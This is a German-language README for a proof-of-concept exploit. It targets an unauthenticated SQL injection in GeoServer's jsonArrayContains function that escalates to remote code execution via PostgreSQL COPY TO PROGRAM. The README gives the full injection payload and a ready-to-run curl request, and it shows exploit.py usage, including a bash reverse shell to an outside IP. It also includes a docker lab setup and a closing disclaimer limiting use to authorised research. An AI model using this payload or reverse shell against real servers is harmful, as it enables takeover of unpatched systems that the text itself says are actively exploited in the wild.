
POC | GeoServer Unauthentifizierte SQL-Injection zu vollständigem RCE
CVE: CVE-2026-76904 | CVSS: 9.8 (Kritisch)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Dieser Schwachstelle wurde vom GeoServer/GeoTools-Team die Kennung GHSA-mqjf-5f49-2fjh zugewiesen, und sie wird seit August 2026 aktiv in freier Wildbahn ausgenutzt.
Die Schwachstelle wurde zwar gepatcht, aber da sie so frisch ist (1786870173), wird sie im Web weiterhin massiv ausgenutzt.
Nicht authentifizierte SQL-Injection in der jsonArrayContains-Funktion von GeoServer
-> Remote Code Execution über PostgreSQL COPY TO PROGRAM.
Die jsonArrayContains-Funktion von GeoServer (genauer gesagt in GeoTools), die zum Abfragen von JSON-Arrays in PostgreSQL verwendet wird, enthält eine kritische SQL-Injection-Schwachstelle. Der dritte Parameter (expected) wird direkt in die SQL-Abfrage verkettet, ohne Sanitisierung, Escaping oder Parameterbindung.
Konkret dieses:
jsonb_path_exists("column"::jsonb, '$ ? (@.key == "<USER_INPUT>")')
Die Schwachstelle stammt aus der Methode FilterToSqlHelper.constructEquality von GeoTools.
Der dritte Parameter (expected) der jsonArrayContains-Funktion wird mithilfe von String.formatted() ohne jegliches Escaping direkt in den SQL-String geschrieben.
Object value = ((LiteralExpressionImpl) expected).getValue();
return "(@.%s == \"%s\")".formatted(jsonPath[lastIndex], value);
Dieser Fehler ist kein neuer Bug, sondern eine Regression von CVE-2023-25158 (einer identischen SQL-Injection-Schwachstelle mit CVSS 9.8).
Die neue Schwachstelle wurde eingeführt, als GEOT-7589 Unterstützung für jsonb_path_exists für PostgreSQL 12+ hinzufügte.
Der Patch von 2023 schützte die jsonArrayContains-Funktion nicht, die nach dieser Behebung hinzugefügt/geändert wurde.
Im Wesentlichen dieses:
jsonArrayContains(data,'/x','y")'') OR 1=1)) AS gt_injected; COPY (SELECT 1) TO PROGRAM 'COMMAND' --')=true
Payload-Aufschlüsselung:
| Komponente | Zweck |
|---|---|
jsonArrayContains(data,'/x','y")\'') | Ruft die Funktion mit manipuliertem drittem Parameter auf |
OR 1=1)) | Schließt den JSON-Pfad und den Funktionsaufruf |
AS gt_injected; | Vergibt einen Alias für die abgeleitete Tabelle |
COPY (SELECT 1) TO PROGRAM 'COMMAND' | PostgreSQL-RCE-Befehl |
--')=true | Kommentiert das restliche SQL aus |
Manuelles curl
curl -G "http://127.0.0.1:8080/geoserver/topp/ows" \
--data-urlencode "service=WFS" \
--data-urlencode "version=2.0.0" \
--data-urlencode "request=GetFeature" \
--data-urlencode "typeNames=topp:test_json" \
--data-urlencode "outputFormat=application/json" \
--data-urlencode "CQL_FILTER=jsonArrayContains(data,'/x','y\")\'') OR 1=1)) AS gt_injected; COPY (SELECT 1) TO PROGRAM 'whoami > /tmp/pwned.txt' --')=true"
Das WFS-2.0-Abschlussmuster ist an die Forschung von mhtsec angelehnt.
Niemand will curl ausführen, oder? Hier ist die Verwendung von exploit.py
Dateierstellungs-PoC
python3 exploit.py \
--url http://127.0.0.1:8080/geoserver \
--workspace topp \
--layer test_json \
--column data \
--cmd "echo what\'s up BrOoOoO00????? > /tmp/yonliud.txt" \
--show-payload
RCE-PoC
python3 exploit.py \
--url http://127.0.0.1:8080/geoserver \
--workspace topp \
--layer test_json \
--column data \
--cmd "bash -c 'bash -i >& /dev/tcp/172.26.242.223/4444 0>&1'" \
--show-payload
Zur Vereinfachung wird eine docker-compose.yml bereitgestellt, um einen schnellen Einstieg in den PoC zu ermöglichen.
Nach der Initialisierung mit
Docker compose up -d
können wir die Umgebung mithilfe der uns zur Verfügung stehenden REST-API einrichten
curl -X POST "http://127.0.0.1:8080/geoserver/rest/workspaces/topp/datastores" \
-u admin:geoserver \
-H "Content-Type: application/xml" \
-d '<dataStore>
<name>test_json_store</name>
<connectionParameters>
<entry key="host">db</entry>
<entry key="port">5432</entry>
<entry key="database">geoserver_data</entry>
<entry key="user">geoserver</entry>
<entry key="passwd">geoserver</entry>
<entry key="dbtype">postgis</entry>
</connectionParameters>
</dataStore>'
Layer veröffentlichen
curl -X POST "http://127.0.0.1:8080/geoserver/rest/workspaces/topp/datastores/test_json_store/featuretypes" \
-u admin:geoserver \
-H "Content-Type: application/xml" \
-d '<featureType>
<name>test_json</name>
<nativeName>test_json</nativeName>
<title>Test JSON Layer</title>
<srs>EPSG:4326</srs>
</featureType>'
Dieses Repository enthält einen unabhängigen Proof-of-Concept-Exploit für die Zero-Day-Schwachstelle ;jsonArrayContains; von GeoServer, eine SQL-Injection, die zu RCE führt. Diese Schwachstelle wurde ursprünglich von 秋风 (@q1uf3ng) entdeckt und veröffentlicht. Die Exploit-Kette wurde in einer kontrollierten Laborumgebung nachgebaut und validiert.
Dieses Projekt ist ausschließlich für autorisierte Sicherheitsforschung, Bildungszwecke und Tests in isolierten Laborumgebungen gedacht.
Verwende diese Software nicht gegen Systeme, Netzwerke oder Daten, ohne ausdrückliche Genehmigung des Eigentümers. Du bist allein dafür verantwortlich, alle geltenden Gesetze einzuhalten und alle Konsequenzen zu tragen, die sich aus deiner Nutzung dieses Projekts ergeben.
Der Autor, YonLiud, stellt dieses Projekt "as is" ohne jegliche Gewährleistung zur Verfügung und übernimmt keinerlei Verantwortung für Schäden, Datenverlust, Dienstunterbrechungen, unbefugten Zugriff oder sonstige missbräuchliche Verwendung, die durch diese Software oder abgeleitete Werke verursacht werden.
Durch die Nutzung dieses Projekts erkennst du diese Bedingungen an und akzeptierst sie.